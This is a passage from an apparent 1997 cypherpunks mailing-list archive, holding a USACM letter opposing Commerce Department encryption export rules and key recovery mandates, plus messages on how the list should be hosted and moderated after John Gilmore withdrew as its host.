provides a means for promoting dialogue on technology policy issues with United States policy makers and the general public. We have identified a number of serious problems with specific provisions of the Interim Rule. As a professional society of computer scientists which produces a number of peer-reviewed technical journals, we are concerned that the Interim Rule will hamper both communication and education in our field. Part 7.34.3 (b)(3) which refers to the distinction between printed and electronic publications of cryptographic materials is unworkable under the new paradigms of electronic publishing and communications. Electronic media, including the World Wide Web, listserves, Usenet news groups, and video conferencing are becoming the prominent means by which scientists communicate. Provisions of the Rule, specifically Parts 7.34.9 and 744.9, which affect teaching cryptography to foreign students are vague and contradictory. Educational environments are not limited to academic institutions but also occur in national and industry labs and by distance education. Restrictions on cryptography exports must not interfere with the traditional freedom of access over digital networks which is indispensable to maintain motivated and effective academic and research communities. We also believe that the development of public policies and technical standards for communications technologies, such as a Key Recovery Infrastructure (KRI), raise vital issues of privacy, competitiveness, and scientific innovation. Parts 740.8 and 742.15 raise a number of troubling issues for the computing community. We believe it is unwise for the Commerce Department to link relaxing export controls on 56-bit encryption to the development of a KRI as both the desirability and the feasibility of such a system remains uncertain. Key recovery products have not yet been subject to the vigorous testing necessary for a proposed standard and there is little understanding of how such a system would operate and what controls would be needed to ensure that it remained secure. Also, Supplement No. 7 to part 742 (which requires that businesses who wish to export 56-bit encryption before 1998 submit a biannual business plan for developing key recovery products) will stifle the innovation of new cryptography technologies and discourage the process of scientific innovation. We believe the Commerce Department should not promulgate regulations which prohibit U.S. research and development from responding to market demands and limit the ability of Americans using new on-line services to protect their privacy. Analysis The USACM has identified electronic publication, education, research and development, key recovery, and privacy as problematic areas which need addressing. We have outlined our concerns below: Electronic Publishing It is unreasonable and unconstitutional to distinguish between printed and electronic distribution of encryption source code as set forth in the note to Part 7.34.3 (b)(2) and (b)(3). A Federal Court in California has ruled in Bernstein v. U.S. Department of State that source code is speech and is thus protected under the first amendment. This distinction is also currently being challenged in a federal court in the District of Columbia in Karn v. U.S. Department of State. The USACM joined the Electronic Privacy Information Center, the American Civil Liberties Union, and the Internet Society in submitting an Amici Curiae brief in the case which argued that such language is an impermissible regulation aimed at the suppression of expression. As computer scientists we see no practical reason why the Commerce Department should insist on creating a distinction when one does not exist. The ACM is the publisher of numerous scientific publications and conference proceedings. They range from our flagship journal Communications of the ACM (CACM) to the on-line, peer-reviewed journal Experimental Algorithms. All 76,000 members of ACM, including 15,000 members overseas, receive CACM by mail and have access to ACM's on-line publications. ACM foresees a time when all its publishing will be electronic and on-line. At that time, it will need interoperable encryption technology available in the U.S. and in its mirror sites abroad to dispense its material. Its subscribers worldwide will need access to secure, commercial encryption as well. An article which described the development of a new cryptographic algorithm would likely appear in one of the many technical journals or conference proceedings published by ACM or the Institute for Electronics and Electrical Engineers (IEEE), another international professional society. In fact a number of the groundbreaking articles in the field of cryptography science were originally published by ACM and IEEE. Publication of encryption algorithms is extremely important to the field of cryptography. In order for an algorithm to be trusted, it must be challenged. To do that, the code must be made widely available. Foreign members of ACM will be unable to access in electronic format the same articles they currently receive in the printed journal. And, it is technically impossible, at this late date, to partition ACM's publications into distinct paper and electronic (hence encryptable) media. Electronic communications, including the World Wide Web, list serves, Usenet news groups, and video conferencing are becoming the prominent means by which scientists communicate. Science is a global pursuit and there exists a open communications network between scientists in different countries. Part 734.2 which prohibits making cryptographic software available outside the U.S. will not only eliminate this international communication but also technical communication among U.S. scientists. In electronic communications it is not always clear to whom the information is being transmitted. WWW sites and Usenet news groups are accessible by anyone with a modem. Video conferences can be retransmitted overseas and moderated listserves are difficult to control. The Interim Rule refers to an individual taking "precautions adequate to prevent unauthorized transfer of such code outside the U.S." It is our belief that it would be impossible to be certain of any precautions taken. This will effectively eliminate all communications on electronic media that describe or discuss cryptographic source code. We believe the interim rule must be revised to eliminate the distinction between printed and electronic source code and to allow for open communications within scientific communities. Restricting these communications will retard the evolution of the science and the development of new algorithms and cryptographic devices. Education Many ACM members are computer science professors and teachers, so we are concerned about the contradictions in the proposed regulations with regards to education. A number of fields and sub-fields address cryptography as part of their curricula. Part 734.9 states that "Educational Information" is not subject to the new regulations if it is "released by instruction in catalog courses and associated teaching laboratories of academic institutions." Computer science, mathematics, engineering, and electronic security may all include technical instruction in encryption technologies and would be covered in U.S. university classrooms. However, questions arise with regard to distance and home or overseas education because of Part 744.9. It states that "No U.S. person may, without a license from BXA, provide technical assistance (including training) to foreign persons with the intent to aid a foreign person in the development or manufacture outside the United States..." While Part 744.9 defines a U.S. person it does not define "technical assistance" or "training." It is uncertain whether a U.S. professor teaching a course in which foreign students are registered, or teaching a course in cryptography overseas would be "training" a foreigner to develop a cryptographic device if the course work was more detailed than "a discussion of information about cryptography." This would affect course studies as disparate as 'number theory' and 'local area networks'. Also, educational environments are not limited to academic institutions but are also found in national and industry labs. Many computer scientists receive their first hands on training after they graduate from their University. It is unclear whether this "training" or "technical assistance" is in violation of the Interim Rule. The intent of the training is give the new employee the practical tools necessary to participate in the field of cryptography science, and is not necessarily intended to be project or employer specific. While the General prohibition in Part 744.9 discusses the meaning of intent as applied to an academic setting, it is not clear if "academic setting" can be applied to instruction which occurs outside of the University environment. The argument made previously with regard to digital media also applies to education. As part of their course work, students often use electronic media as resources (WWW, digital libraries, CD-ROMs), as a communication device for the class outside the classroom (electronic mail, listserves), and to learn from listening to the discussions among research scientists (Usenet groups, listserves). Part 7.34.3 (b)(3) which covers encryption source code in electronic form or media will restrict these types of educational instruction. Instructors will be unable to take advantage of digital media in their courses. Students studying cryptography will be unfairly disadvantaged as they will be unable to access valuable resources even in the process of furthering their education. The USACM believes the contradictions in Parts 7.34 and 744.9 must be resolved in a clear manner so educators are not required to reduce the quality of their courses for fear of misinterpreting the Interim Rule. Specifically, "academic setting," "training," and "technical assistance" must be defined, and distance education, and academic research and communication must be addressed. Research and Development Encryption policies must reflect the needs of the global market. The international demand for products which incorporate strong cryptographic tools is growing. Such products are widely available and produced by a number of nations. U.S. scientists have been prominent in the development of current encryption technologies. The field has developed though research and development efforts along many different tangents, only one of which describes key recovery products. There is little evidence that the demand for cryptography tools is limited to those products which incorporate key recovery protocols. Part 742.15 (which states that businesses must submit a business plan for the development of key recovery products before they may export 56- bit software; the license must be renewed biannually until 1998 when only key recovery products will be allowed for export) will restrict the U.S. to producing only products which incorporate KRI protocols. Mandating that businesses develop key recovery products will also impede the natural market development of novel and innovative systems. Part 740 hypothesizes that a worldwide KRI will be desirable, feasible, and in place by 1998. However it is unclear whether key recovery is the best alternative. Research along new tangents will continue in non- industry and non-U.S. settings. A new protocol may be discovered which is considered a better choice for a worldwide infrastructure. There will exist a great market demand for variety in choosing a security system to fit the needs of the distinct commercial group. If this happens U.S. scientists and industry will be at a disadvantage as they will have only a core competence in key recovery protocols as per Part 740.8. There are a variety of commercial groups interested in utilizing the Internet for business interactions and transactions. Without interoperable encryption programs, commercial needs in an increasing global environment cannot be met. Supplement No. 4 to Part 742 states that a product can not interact with another product whose key recovery system has been "altered, bypassed, disabled, or otherwise rendered inoperative." This will be a major source of problems for researchers and educators, as well as government and commercial institutions. The result of a system not being able to talk to another system because of an intentional or accidental disabling of the KRI protocols can have a very large impact on telemedicine, research, government operations, and commercial enterprises. The USACM believes the Interim Rule should be rewritten to avoid dissuading innovation and development and eliminating the U.S.'s core competency in cryptography. It should also recognize the need for consistency in interoperable systems. Key Recovery The USACM recognizes that there is a real market demand for key recovery products from business and government employers. However, the viability of a KRI has not yet been determined. It has not yet been subject to the vigorous testing necessary for a proposed standard. There is little understanding of how such a system would operate and what controls would be needed to ensure that it remained secure. Part 740 describes the development of a Key Recovery Infrastructure within two years. We believe it is unwise for the United States to insist on the development of a untested, unproved technology for a worldwide infrastructure. The National Research Council report stated that a feasibility study needed to be performed on a smaller scale before key escrow could be seriously proposed for commercial applications. We believe this warning applies to KRI as well. While key recovery tools may be appropriate in some settings, we believe it would be wrong to impose such restrictions on users or businesses and the Interim Rule should not dictate that businesses limit their research to a potentially unworkable system. Privacy The USACM believes that certain principles should be reflected in a national cryptography policy. Encryption should be used for privacy protection and to encourage the development of technologies and institutional practices which will provide real privacy for the future users of the NII and real security for the protection of the system. The USACM believes that transferring the regulation of cryptography to the Commerce Department could establish United States leadership in protecting the privacy rights of its citizens. However the Interim Rule fails to do that. Conclusion We recognize that the government has a legitimate interest in protecting national security. However, whether or not the worldwide infrastructure is achieved, the role of national security agencies will remain difficult. The government's proposal to balance national security, business, and privacy interests by creating a Key Recovery Infrastructure within the next two years is overly aggressive. We suggest that the development of a policy that serves the long term interests of our nation's security will not be one based on a Key Recovery Infrastructure, but rather one that anticipates the widespread availability of strong encryption and the multifaceted demands of a global economy. Toward that end, the interests in protecting open research within the U.S. academic community will be crucial. Sincerely, Barbara Simons, Ph.D Chair, United States Public Policy Office for the Association for Computing The ACM, founded in 1947, is an international non-profit educational and scientific society dedicated to the development and use of information technology, and to addressing the impact information technology has on the world's major social challenges. The Association's activities include the publication of scholarly journals and the sponsorship of special interest groups (SIGS) in numerous disciplines. ACM has 76,000 members. The 60,000 who reside in the United States are academic, professional, scientific, and ordinary users of telecommunications technology and have a strong interest in the development of sound encryption policies. The USACM provides a means for promoting dialogue on technology policy issues with United States policy makers and the general public. We respond to requests for information and technical expertise from United States government agencies and departments, seeks to influence relevant United States government policies on behalf of the computing community and the public, and provides information to the ACM on relevant United States government activities. From kent at songbird.com Fri Feb 14 08:41:57 1997 From: kent at songbird.com (Kent Crispin) Date: Fri, 14 Feb 1997 08:41:57 -0800 (PST) Subject: Private property & the cypherpunks list(s) In-Reply-To: <199702140456.UAA21157@toad.com> Message-ID: <199702141745.JAA19682@songbird.com> ichudov at algebra.com allegedly said: > > Firebeard wrote: > > > > >>>>> Igor Chudov @ home writes: > > > > IC> This is where the distributed nature of the list comes in. if > > IC> someone disagrees with Jim's AUP, he or she can use soem other > > IC> mailing list host. > > > > And once I'm up and running, my cypherpunks list server will > > not be interconnected with any server which has a similar AUP. The > > implication of the AUP is that if you _don't_ comply with it, you will > > be blocked. Without such an implication, the AUP is meaningless, and > > I'm dedicated that there should be no filtering/blocking of any kind, > > of the list. Persons behaving 'unacceptably' should be handled by > > social pressures by others in the 'community' of the list, and not by > > policies of the list operators. > > Which is, again, a perfectly fine idea. > > I would probably disconnect from any server that > > a) does not let certain messages go through (unless they are fighting a DOS > attack) and > b) Alters content of any messages. > I can understand this sentiment, given the events of the past couple of months, but it seems short-sighted. If this scheme grows there could be several hundred or more mailers involved, and there is no technical reason why moderated lists couldn't be included. Remember that each list operator actually represents a community of users, users who are *free* to go elsewhere if they choose. Clearly, some people would chose to populate a filtered list. There is no reason whatsoever to discriminate against them. -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From ichudov at algebra.com Fri Feb 14 08:58:53 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Fri, 14 Feb 1997 08:58:53 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" Message-ID: <199702141658.IAA10569@toad.com> paul at fatmans.demon.co.uk wrote: > > > It is too late to stop alt.cypherpunks, but if I had to make a > > > prediction again, I would predict that soon posters will BEG to help > > > them create comp.*.cypherpunks, because of spam and alt.flamage. > > > > Timmy has a valid point: the reason why a comp.* newsgroup might have less > > cross-posted and "off-topic" crap is because net.cops would be more > > likely to complain to posters' sysadmins. Having a charter state that > > cypherpunks have technical means to ignore traffic they don't like, > > and don't need anyone forging cancels or complaining to sysadmins > > or otherwise getting silenced, is a good idea. > > I don`t believe for one moment that, however well intentioned such a > move would be, it would work. The most notorious net.cops who > thoroughly deserve the (spit) after their name would take little > notice of such a charter and take it upon themselved to "act in the > best interests of the usenet community" That is not necessarily true. I asked Chris Lewis to not cancel any articles in soc.culture.russian.moderated (of which I am one of moderators) and it did not cause any problem. I was very pleased by his reaction. - Igor. From jmb at frb.gov Fri Feb 14 08:59:10 1997 From: jmb at frb.gov (Jonathan M. Bresler) Date: Fri, 14 Feb 1997 08:59:10 -0800 (PST) Subject: Need a good bi-directional mail-news gateway Message-ID: <199702141659.IAA10576@toad.com> much as the irony of the idea appeals, i am not in a position to offer a host/machine to run the list. i *can* offer what i have learned from running the FreeBSD mailing lists for 2+ years. so who has a host/machine, that we can use ;) jmb >At 3:18 pm -0500 2/12/97, Jonathan M. Bresler wrote: > ^^^^^^^ >> your expected mail volume is 100,000+ messages a day? >> >> i run lists that do 200,000+ routinely. >> recent peak of 350,000 messages >> >> does that meet your needs? > >Great. > >Let's run cypherpunks with a government subsidy. > >;-). > >Pulling your leg, just a bit.. > >Cheers, >Bob Hettinga > >"So much for a geodesic monitary system..." > > >----------------- >Robert Hettinga (rah at shipwright.com), Philodox >e$, 44 Farquhar Street, Boston, MA 02131 USA >"Never attribute to conspiracy what can be >explained by stupidity." -- Jerry Pournelle >The e$ Home Page: http://www.shipwright.com/rah/ >FC97: Anguilla, anyone? http://www.ai/fc97/ > > From kent at songbird.com Fri Feb 14 08:59:26 1997 From: kent at songbird.com (Kent Crispin) Date: Fri, 14 Feb 1997 08:59:26 -0800 (PST) Subject: Private property & the cypherpunks list(s) Message-ID: <199702141659.IAA10584@toad.com> ichudov at algebra.com allegedly said: > > Firebeard wrote: > > > > >>>>> Igor Chudov @ home writes: > > > > IC> This is where the distributed nature of the list comes in. if > > IC> someone disagrees with Jim's AUP, he or she can use soem other > > IC> mailing list host. > > > > And once I'm up and running, my cypherpunks list server will > > not be interconnected with any server which has a similar AUP. The > > implication of the AUP is that if you _don't_ comply with it, you will > > be blocked. Without such an implication, the AUP is meaningless, and > > I'm dedicated that there should be no filtering/blocking of any kind, > > of the list. Persons behaving 'unacceptably' should be handled by > > social pressures by others in the 'community' of the list, and not by > > policies of the list operators. > > Which is, again, a perfectly fine idea. > > I would probably disconnect from any server that > > a) does not let certain messages go through (unless they are fighting a DOS > attack) and > b) Alters content of any messages. > I can understand this sentiment, given the events of the past couple of months, but it seems short-sighted. If this scheme grows there could be several hundred or more mailers involved, and there is no technical reason why moderated lists couldn't be included. Remember that each list operator actually represents a community of users, users who are *free* to go elsewhere if they choose. Clearly, some people would chose to populate a filtered list. There is no reason whatsoever to discriminate against them. -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From declan at well.com Fri Feb 14 09:00:30 1997 From: declan at well.com (Declan McCullagh) Date: Fri, 14 Feb 1997 09:00:30 -0800 (PST) Subject: USACM analysis of Commerce Dept crypto export proposals Message-ID: <199702141700.JAA10626@toad.com> ---------- Forwarded message ---------- Date: Fri, 14 Feb 1997 08:28:28 -0800 (PST) From: Declan McCullagh To: fight-censorship at vorlon.mit.edu Subject: USACM analysis of Commerce Dept crypto export proposals February 12, 1997 Nancy Crowe Regulatory Policy Division Bureau of Export Administration Department of Commerce Room 2705 14th Street and Pennsylvania Ave., N.W. Washington, D.C. 20230. Docket No. 960918265-6366-03 Dear Ms. Crowe The United States Public Policy Committee for the Association for Computing (USACM) welcomes this opportunity to submit our views on the Interim Rule issued by the Department of Commerce with regard to "Encryption Items Transferred From the United States Munitions List to the Commerce Control List." The USACM believes it is in the best interest of the U.S. government to promote the widespread use of strong encryption. >From our perspective the Interim Rule fails to recognize the legitimate needs and interests of academic, professional, scientific, and ordinary users of telecommunications technology. Thus, the Interim Rule must be modified before it can resolve the many problems with the current export controls on encryption technologies. Introduction and Summary The Association for Computing is an international professional society whose 76,000 members (60,000 in the U.S.) represent a critical mass of computer scientists in education, industry, and government. The USACM provides a means for promoting dialogue on technology policy issues with United States policy makers and the general public. We have identified a number of serious problems with specific provisions of the Interim Rule. As a professional society of computer scientists which produces a number of peer-reviewed technical journals, we are concerned that the Interim Rule will hamper both communication and education in our field. Part 7.34.3 (b)(3) which refers to the distinction between printed and electronic publications of cryptographic materials is unworkable under the new paradigms of electronic publishing and communications. Electronic media, including the World Wide Web, listserves, Usenet news groups, and video conferencing are becoming the prominent means by which scientists communicate. Provisions of the Rule, specifically Parts 7.34.9 and 744.9, which affect teaching cryptography to foreign students are vague and contradictory. Educational environments are not limited to academic institutions but also occur in national and industry labs and by distance education. Restrictions on cryptography exports must not interfere with the traditional freedom of access over digital networks which is indispensable to maintain motivated and effective academic and research communities. We also believe that the development of public policies and technical standards for communications technologies, such as a Key Recovery Infrastructure (KRI), raise vital issues of privacy, competitiveness, and scientific innovation. Parts 740.8 and 742.15 raise a number of troubling issues for the computing community. We believe it is unwise for the Commerce Department to link relaxing export controls on 56-bit encryption to the development of a KRI as both the desirability and the feasibility of such a system remains uncertain. Key recovery products have not yet been subject to the vigorous testing necessary for a proposed standard and there is little understanding of how such a system would operate and what controls would be needed to ensure that it remained secure. Also, Supplement No. 7 to part 742 (which requires that businesses who wish to export 56-bit encryption before 1998 submit a biannual business plan for developing key recovery products) will stifle the innovation of new cryptography technologies and discourage the process of scientific innovation. We believe the Commerce Department should not promulgate regulations which prohibit U.S. research and development from responding to market demands and limit the ability of Americans using new on-line services to protect their privacy. Analysis The USACM has identified electronic publication, education, research and development, key recovery, and privacy as problematic areas which need addressing. We have outlined our concerns below: Electronic Publishing It is unreasonable and unconstitutional to distinguish between printed and electronic distribution of encryption source code as set forth in the note to Part 7.34.3 (b)(2) and (b)(3). A Federal Court in California has ruled in Bernstein v. U.S. Department of State that source code is speech and is thus protected under the first amendment. This distinction is also currently being challenged in a federal court in the District of Columbia in Karn v. U.S. Department of State. The USACM joined the Electronic Privacy Information Center, the American Civil Liberties Union, and the Internet Society in submitting an Amici Curiae brief in the case which argued that such language is an impermissible regulation aimed at the suppression of expression. As computer scientists we see no practical reason why the Commerce Department should insist on creating a distinction when one does not exist. The ACM is the publisher of numerous scientific publications and conference proceedings. They range from our flagship journal Communications of the ACM (CACM) to the on-line, peer-reviewed journal Experimental Algorithms. All 76,000 members of ACM, including 15,000 members overseas, receive CACM by mail and have access to ACM's on-line publications. ACM foresees a time when all its publishing will be electronic and on-line. At that time, it will need interoperable encryption technology available in the U.S. and in its mirror sites abroad to dispense its material. Its subscribers worldwide will need access to secure, commercial encryption as well. An article which described the development of a new cryptographic algorithm would likely appear in one of the many technical journals or conference proceedings published by ACM or the Institute for Electronics and Electrical Engineers (IEEE), another international professional society. In fact a number of the groundbreaking articles in the field of cryptography science were originally published by ACM and IEEE. Publication of encryption algorithms is extremely important to the field of cryptography. In order for an algorithm to be trusted, it must be challenged. To do that, the code must be made widely available. Foreign members of ACM will be unable to access in electronic format the same articles they currently receive in the printed journal. And, it is technically impossible, at this late date, to partition ACM's publications into distinct paper and electronic (hence encryptable) media. Electronic communications, including the World Wide Web, list serves, Usenet news groups, and video conferencing are becoming the prominent means by which scientists communicate. Science is a global pursuit and there exists a open communications network between scientists in different countries. Part 734.2 which prohibits making cryptographic software available outside the U.S. will not only eliminate this international communication but also technical communication among U.S. scientists. In electronic communications it is not always clear to whom the information is being transmitted. WWW sites and Usenet news groups are accessible by anyone with a modem. Video conferences can be retransmitted overseas and moderated listserves are difficult to control. The Interim Rule refers to an individual taking "precautions adequate to prevent unauthorized transfer of such code outside the U.S." It is our belief that it would be impossible to be certain of any precautions taken. This will effectively eliminate all communications on electronic media that describe or discuss cryptographic source code. We believe the interim rule must be revised to eliminate the distinction between printed and electronic source code and to allow for open communications within scientific communities. Restricting these communications will retard the evolution of the science and the development of new algorithms and cryptographic devices. Education Many ACM members are computer science professors and teachers, so we are concerned about the contradictions in the proposed regulations with regards to education. A number of fields and sub-fields address cryptography as part of their curricula. Part 734.9 states that "Educational Information" is not subject to the new regulations if it is "released by instruction in catalog courses and associated teaching laboratories of academic institutions." Computer science, mathematics, engineering, and electronic security may all include technical instruction in encryption technologies and would be covered in U.S. university classrooms. However, questions arise with regard to distance and home or overseas education because of Part 744.9. It states that "No U.S. person may, without a license from BXA, provide technical assistance (including training) to foreign persons with the intent to aid a foreign person in the development or manufacture outside the United States..." While Part 744.9 defines a U.S. person it does not define "technical assistance" or "training." It is uncertain whether a U.S. professor teaching a course in which foreign students are registered, or teaching a course in cryptography overseas would be "training" a foreigner to develop a cryptographic device if the course work was more detailed than "a discussion of information about cryptography." This would affect course studies as disparate as 'number theory' and 'local area networks'. Also, educational environments are not limited to academic institutions but are also found in national and industry labs. Many computer scientists receive their first hands on training after they graduate from their University. It is unclear whether this "training" or "technical assistance" is in violation of the Interim Rule. The intent of the training is give the new employee the practical tools necessary to participate in the field of cryptography science, and is not necessarily intended to be project or employer specific. While the General prohibition in Part 744.9 discusses the meaning of intent as applied to an academic setting, it is not clear if "academic setting" can be applied to instruction which occurs outside of the University environment. The argument made previously with regard to digital media also applies to education. As part of their course work, students often use electronic media as resources (WWW, digital libraries, CD-ROMs), as a communication device for the class outside the classroom (electronic mail, listserves), and to learn from listening to the discussions among research scientists (Usenet groups, listserves). Part 7.34.3 (b)(3) which covers encryption source code in electronic form or media will restrict these types of educational instruction. Instructors will be unable to take advantage of digital media in their courses. Students studying cryptography will be unfairly disadvantaged as they will be unable to access valuable resources even in the process of furthering their education. The USACM believes the contradictions in Parts 7.34 and 744.9 must be resolved in a clear manner so educators are not required to reduce the quality of their courses for fear of misinterpreting the Interim Rule. Specifically, "academic setting," "training," and "technical assistance" must be defined, and distance education, and academic research and communication must be addressed. Research and Development Encryption policies must reflect the needs of the global market. The international demand for products which incorporate strong cryptographic tools is growing. Such products are widely available and produced by a number of nations. U.S. scientists have been prominent in the development of current encryption technologies. The field has developed though research and development efforts along many different tangents, only one of which describes key recovery products. There is little evidence that the demand for cryptography tools is limited to those products which incorporate key recovery protocols. Part 742.15 (which states that businesses must submit a business plan for the development of key recovery products before they may export 56- bit software; the license must be renewed biannually until 1998 when only key recovery products will be allowed for export) will restrict the U.S. to producing only products which incorporate KRI protocols. Mandating that businesses develop key recovery products will also impede the natural market development of novel and innovative systems. Part 740 hypothesizes that a worldwide KRI will be desirable, feasible, and in place by 1998. However it is unclear whether key recovery is the best alternative. Research along new tangents will continue in non- industry and non-U.S. settings. A new protocol may be discovered which is considered a better choice for a worldwide infrastructure. There will exist a great market demand for variety in choosing a security system to fit the needs of the distinct commercial group. If this happens U.S. scientists and industry will be at a disadvantage as they will have only a core competence in key recovery protocols as per Part 740.8. There are a variety of commercial groups interested in utilizing the Internet for business interactions and transactions. Without interoperable encryption programs, commercial needs in an increasing global environment cannot be met. Supplement No. 4 to Part 742 states that a product can not interact with another product whose key recovery system has been "altered, bypassed, disabled, or otherwise rendered inoperative." This will be a major source of problems for researchers and educators, as well as government and commercial institutions. The result of a system not being able to talk to another system because of an intentional or accidental disabling of the KRI protocols can have a very large impact on telemedicine, research, government operations, and commercial enterprises. The USACM believes the Interim Rule should be rewritten to avoid dissuading innovation and development and eliminating the U.S.'s core competency in cryptography. It should also recognize the need for consistency in interoperable systems. Key Recovery The USACM recognizes that there is a real market demand for key recovery products from business and government employers. However, the viability of a KRI has not yet been determined. It has not yet been subject to the vigorous testing necessary for a proposed standard. There is little understanding of how such a system would operate and what controls would be needed to ensure that it remained secure. Part 740 describes the development of a Key Recovery Infrastructure within two years. We believe it is unwise for the United States to insist on the development of a untested, unproved technology for a worldwide infrastructure. The National Research Council report stated that a feasibility study needed to be performed on a smaller scale before key escrow could be seriously proposed for commercial applications. We believe this warning applies to KRI as well. While key recovery tools may be appropriate in some settings, we believe it would be wrong to impose such restrictions on users or businesses and the Interim Rule should not dictate that businesses limit their research to a potentially unworkable system. Privacy The USACM believes that certain principles should be reflected in a national cryptography policy. Encryption should be used for privacy protection and to encourage the development of technologies and institutional practices which will provide real privacy for the future users of the NII and real security for the protection of the system. The USACM believes that transferring the regulation of cryptography to the Commerce Department could establish United States leadership in protecting the privacy rights of its citizens. However the Interim Rule fails to do that. Conclusion We recognize that the government has a legitimate interest in protecting national security. However, whether or not the worldwide infrastructure is achieved, the role of national security agencies will remain difficult. The government's proposal to balance national security, business, and privacy interests by creating a Key Recovery Infrastructure within the next two years is overly aggressive. We suggest that the development of a policy that serves the long term interests of our nation's security will not be one based on a Key Recovery Infrastructure, but rather one that anticipates the widespread availability of strong encryption and the multifaceted demands of a global economy. Toward that end, the interests in protecting open research within the U.S. academic community will be crucial. Sincerely, Barbara Simons, Ph.D Chair, United States Public Policy Office for the Association for Computing The ACM, founded in 1947, is an international non-profit educational and scientific society dedicated to the development and use of information technology, and to addressing the impact information technology has on the world's major social challenges. The Association's activities include the publication of scholarly journals and the sponsorship of special interest groups (SIGS) in numerous disciplines. ACM has 76,000 members. The 60,000 who reside in the United States are academic, professional, scientific, and ordinary users of telecommunications technology and have a strong interest in the development of sound encryption policies. The USACM provides a means for promoting dialogue on technology policy issues with United States policy makers and the general public. We respond to requests for information and technical expertise from United States government agencies and departments, seeks to influence relevant United States government policies on behalf of the computing community and the public, and provides information to the ACM on relevant United States government activities. From geeman at best.com Fri Feb 14 09:00:36 1997 From: geeman at best.com (geeman at best.com) Date: Fri, 14 Feb 1997 09:00:36 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] Message-ID: <199702141700.JAA10634@toad.com> The provocateurs won. Too bad. Seems Cpunks caved to the simplest of attacks. Proves you don't need key-escrow or any of the rest to ahem, "affect" unfettered discourse in cyberspace. At 11:23 PM 2/13/97 -0800, you wrote: >Date: Wed, 12 Feb 1997 21:24:37 -0800 (PST) >From: Declan McCullagh >To: fight-censorship at vorlon.mit.edu > >The Netly News Network >http://netlynews.com/ > >A List Goes Down In Flames >by Declan McCullagh (declan at well.com) >February 12, 1997 > > The plan for the cypherpunks mailing list was simple. It was to be > an online gathering place, an intellectual mosh pit, dedicated to the > free flow of ideas and personal privacy through encryption. > > Of course it caught on. From its modest beginnings connecting a > few friends who lived in Northern California, it quickly grew into one > of the most rowdy, volatile lists on the Net: Cypherpunks typically > piped more than 100 messages a day into the mailboxes of nearly 2,000 > subscribers. And the list became a kind of crypto-anarchist utopia. > Populated by pseudonymous posters with names like Black Unicorn, it > was a corner of cyberspace where PGP signatures and digital cash were > the norm -- and there were no rules. Then yesterday came the news: The > list was being evicted and faced imminent shutdown. > > In an e-mail seen 'round the Net, John Gilmore, Electronic > Frontier Foundation cofounder and list maintainer, announced that he > was no longer willing to provide a virtual home for the cypherpunks. > In a post entitled "Put Up or Shut Up," he described how his efforts > to improve the list through moderation were condemned, how technical > problems were consuming more of his time, how pranksters had tried to > subscribe the entire U.S. Congress to the list. How this experiment in > crypto-anarchy had failed. He gave the cypherpunks 10 days to find new > lodgings. > > "The last straw for me was seeing the reaction of the list to > every attempt to improve it. It was to carp, to cut it down, to say > you're doing everything wrong," Gilmore told me yesterday night. One > of the first employees of Sun, Gilmore quit after eight years -- a > millionaire more interested in pursuing ideas than dollars. But his > experiment with the list has left him weary. "If everything I'm doing > is wrong, I'm clearly not the right person to host the list," he said. > > "I would like to see some other structure in which the positive > interactions on the list could continue. I'm not trying to create that > structure anymore," he added. Instead, he would try the only true > crypto-anarchist solution: "I'm handing it over to members to do what > they wish with it." > > The cypherpunks first pierced the public's consciousness when > Wired magazine splashed them across the cover of the second issue. The > Whole Earth Review and the Village Voice followed soon after. The name > "cypherpunk" came to be synonymous with a brash young breed of > digerati who were intent on derailing the White House's encryption > policies and conquering cyberspace. This was crypto with an attitude. > > Gilmore was typical of the breed. Monthly Bay Area meetings of the > 'punks were held in the offices of Cygnus, a company he started to > provide support for the free Unix alternative, GNU. > > But the veteran cypherpunk came under heavy fire in November 1996, > when a loudmouthed flamer flooded the list with flame bait and ad > hominem attacks on various members. Finally, Gilmore, ironically, gave > him the boot -- and incited an all-consuming debate over what the > concept of censorship means in a forum devoted to opposing it. In a > society of crypto-anarchists, who should make the rules? The mailing > list melted down. By last month, it seemed, more messages complained > about censorship than discussed crypto. > > Indeed, for months Gilmore seemed unable to do anything right. He > tried moderation, which proved to be even more contentious, raising > the question of empowering one cypherpunk to decide what was > appropriate for others to read. One member of the group, in effect, > would be more equal than the rest. And why would members take the time > to write elaborate, thoughtful articles on crypto-politics if their > treatises might not make it past the moderator's keyboard? > > After the expulsion, some of the longtime list denizens left > angrily, joining the 700 subscribers who had departed since the > controversy began. One of those was Tim C. May, a crusty former Intel > engineer who prides himself as the organizer of the first cypherpunk > meeting in September 1992. In an essay summarizing the reasons for his > departure, he wrote: "The proper solution to bad speech is more > speech, not censorship. Censorship just makes opponents of 'speech > anarchy' happy -- it affirms their basic belief that censors are > needed." > > After all, May pointed out, the list ended up on Gilmore's > toad.com machine only by happenstance -- it almost was housed on a > workstation at the University of California at Berkeley. Ownership of > the computer with the database of subscribers did not mean that > Gilmore owned the cypherpunks. "Whatever our group once was, or still > is, is not dependent on having a particular mailing list running on > someone's home machine... and it cannot be claimed that any person > 'owns' the cypherpunks group," May wrote. > > The cypherpunks have responded to Gilmore's eviction notice. List > participants generally have halted the incessant attacks on Gilmore, > and now the discussion has turned to how to continue this experiment > in online anarchy -- while preventing one person from ever again > having absolute control of the List. Within hours of Gilmore's > announcement, posters were tossing around ideas of a distributed > network of mailing lists that would carry the cypherpunk name, and > other 'punks likely will migrate to the more tightly controlled > coderpunks and cryptography lists. > > But for the true believers in crypto-anarchy, only one solution is > adequate: Usenet. "There is no 'nexus' of control, no chokepoint, no > precedent... for halting distribution of Usenet newsgroups," Tim May > wrote. That, in the end, is what defines a cypherpunk. > >### > > > From mpd at netcom.com Fri Feb 14 09:04:12 1997 From: mpd at netcom.com (Mike Duvos) Date: Fri, 14 Feb 1997 09:04:12 -0800 (PST) Subject: [Declan McCullagh: "A List Goes Down In Flames," from Netly] In-Reply-To: <199702141459.GAA07338@toad.com> Message-ID: <199702141704.JAA03249@netcom10.netcom.com> John Gilmore writes: [Fluffy Gilmore apologia by Declan expunged] Two small points. 1. 